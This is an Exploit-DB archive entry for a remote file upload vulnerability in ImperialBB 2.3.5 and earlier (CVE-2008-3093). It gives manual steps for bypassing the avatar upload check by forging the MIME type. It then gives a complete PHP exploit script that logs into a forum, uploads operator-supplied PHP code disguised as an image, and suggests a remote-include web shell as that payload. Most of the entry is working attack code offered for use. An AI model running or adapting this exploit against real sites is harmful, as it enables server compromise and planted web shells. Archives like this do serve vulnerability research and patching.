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ImperialBB <= 2.3.5 - Remote File Upload Exploit

2008-07-05T00:00:00
ID EDB-ID:6008
Type exploitdb
Reporter PHPLizardo
Modified 2008-07-05T00:00:00

Description

ImperialBB <= 2.3.5 Remote File Upload Exploit. CVE-2008-3093. Webapps exploit for php platform

                                        
                                            Title     :    ImperialBB &lt;= 2.3.5 Remote File Upload Vulnerability
Date      :    5th July 2008
Found by  :    PHPLizardo - http://phplizardo.2gb.fr
Greetz    :    Gu1ll4um3r0m41n

Howto     :    1. Go to your User Control Panel
               2. Upload any file you want
               3. Tamper the request and change the mime-type to : image/gif
               4. There is your file : http://site.com/[forum_path]/images/avatars/uploads/[your_nickname]_[filename].[ext]
			   
&lt;?php
/*

	Title                 :   ImperialBB &lt;= 2.3.5 Remote Upload Vulnerability
	Date                  :   5th July 2008
	Found by              :   PHPLizardo
	
	Description           :   This vulnerability can be used by a attacker to upload  a malicious script on the webserver.

	Greetz                :   irc.worldnet.net #carib0u
							  

*/

if(count($argv) == 5)
{
	echo "\n\n";
	echo "+---------------------------------------------------------------+\r\n";
	echo "|        ImperialBB &lt;= 2.3.5 Remote Upload Vulnerability        |\r\n";
	echo "|           By PHPLizardo - irc.worldnet.net #carib0u           |\r\n";
	echo "|        Usage: php exploit.php site.com /path/ user pass       |\r\n";
	echo "+---------------------------------------------------------------+\r\n";
	echo "\n";
		
	echo "Code to write in the file (ie. &lt;?php include(\$_GET['inc']); ?&gt;) :\r\n\n";
	$code     =   trim(fgets(STDIN));
	
	$socket   =   @fsockopen($argv[1], 80, $eno, $estr, 30);
	if(!$socket)
	{
		die("Could not connect to ".$argv[1].". Operation aborted.");
	}
	
	$part1      =   "POST " . $argv[2] . "profile.php?func=edit HTTP/1.1\r\n";
	$part1     .=   "Host: " . $argv[1] . "\r\n";
	$part1     .=   "Accept: */*\r\n";
	$part1     .=   "Connection: Close\r\n";
	$part1     .=   "Cookie: UserName=" . $argv[3] . "; Password=" . md5(md5($argv[4])) . "\r\n";
	$part1     .=   "Content-Type: multipart/form-data; boundary=---------------------------200831142015814\r\n";
	
	$part2     .=   "-----------------------------200831142015814\r\n";
	$part2     .=   "Content-Disposition: form-data; name=\"Email\"\r\n\r\n";
	$part2     .=   "test@test.test\r\n";
	$part2     .=   "-----------------------------200831142015814\r\n";
	$part2     .=   "Content-Disposition: form-data; name=\"Email2\"\r\n\r\n";
	$part2     .=   "test@test.test\r\n";
	$part2     .=   "-----------------------------200831142015814\r\n";
	$part2     .=   "Content-Disposition: form-data; name=\"OldPass\"\r\n\r\n\r\n";
	$part2     .=   "-----------------------------200831142015814\r\n";
	$part2     .=   "Content-Disposition: form-data; name=\"PassWord\"\r\n\r\n\r\n";
	$part2     .=   "-----------------------------200831142015814\r\n";
	$part2     .=   "Content-Disposition: form-data; name=\"Pass2\"\r\n\r\n\r\n";
	$part2     .=   "-----------------------------200831142015814\r\n";
	$part2     .=   "Content-Disposition: form-data; name=\"signature\"\r\n\r\n\r\n";
	$part2     .=   "-----------------------------200831142015814\r\n";
	$part2     .=   "Content-Disposition: form-data; name=\"aim\"\r\n\r\n\r\n";
	$part2     .=   "-----------------------------200831142015814\r\n";
	$part2     .=   "Content-Disposition: form-data; name=\"icq\"\r\n\r\n\r\n";
	$part2     .=   "-----------------------------200831142015814\r\n";
	$part2     .=   "Content-Disposition: form-data; name=\"msn\"\r\n\r\n\r\n";
	$part2     .=   "-----------------------------200831142015814\r\n";
	$part2     .=   "Content-Disposition: form-data; name=\"yahoo\"\r\n\r\n\r\n";
	$part2     .=   "-----------------------------200831142015814\r\n";
	$part2     .=   "Content-Disposition: form-data; name=\"Remote_Avatar_URL\"\r\n\r\n\r\n";
	$part2     .=   "-----------------------------200831142015814\r\n";
	$part2     .=   "Content-Disposition: form-data; name=\"Upload_Avatar\"; filename=\"funypicture.php\"\r\n";
	$part2     .=   "Content-Type: image/gif\r\n\r\n";
	$part2     .=   $code."\r\n";
	$part2     .=   "-----------------------------200831142015814\r\n";
	$part2     .=   "Content-Disposition: form-data; name=\"month\"\r\n\r\n";
	$part2     .=   "00\r\n";
	$part2     .=   "-----------------------------200831142015814\r\n";
	$part2     .=   "Content-Disposition: form-data; name=\"day\"\r\n\r\n";
	$part2     .=   "00\r\n";
	$part2     .=   "-----------------------------200831142015814\r\n";
	$part2     .=   "Content-Disposition: form-data; name=\"year\"\r\n\r\n";
	$part2     .=   "0000\r\n";
	$part2     .=   "-----------------------------200831142015814\r\n";
	$part2     .=   "Content-Disposition: form-data; name=\"website\"\r\n\r\n\r\n";

	$part2     .=   "-----------------------------200831142015814\r\n";
	$part2     .=   "Content-Disposition: form-data; name=\"location\"\r\n\r\n\r\n";
	$part2     .=   "-----------------------------200831142015814\r\n";
	$part2     .=   "Content-Disposition: form-data; name=\"email_on_pm\"\r\n\r\n";
	$part2     .=   "0\r\n";
	$part2     .=   "-----------------------------200831142015814\r\n";
	$part2     .=   "Content-Disposition: form-data; name=\"OldPass\"\r\n\r\n\r\n";
	$part2     .=   "-----------------------------200831142015814\r\n";
	$part2     .=   "Content-Disposition: form-data; name=\"Submit\"\r\n\r\n";
	$part2     .=   "Submit\r\n";
	$part2     .=   "-----------------------------200831142015814--\r\n";
	
	$part1     .=   "Content-Length: " . strlen($part2) . "\r\n\r\n";
	
	
	
	$part1     .=   $part2;
	
	fwrite($socket, $part1);
	
	echo "It might have worked, check if your file is online at -&gt; http://" . $argv[1] . $argv[2] . "/images/avatars/uploads/" . $argv[3] . "_funypicture.php";
	
}
else
{
	echo "\n\n";
	echo "+----.-----------------------------------------------------------+\r\n";
	echo "|        ImperialBB &lt;= 2.3.5 Remote Upload Vulnerability        |\r\n";
	echo "|           By PHPLizardo - irc.worldnet.net #carib0u           |\r\n";
	echo "|        Usage: php exploit.php site.com /path/ user pass       |\r\n";
	echo "+---------------------------------------------------------------+\r\n";
	echo "\n\n";
}
?&gt;

# milw0rm.com [2008-07-05]
JSON Vulners Source
Initial Source


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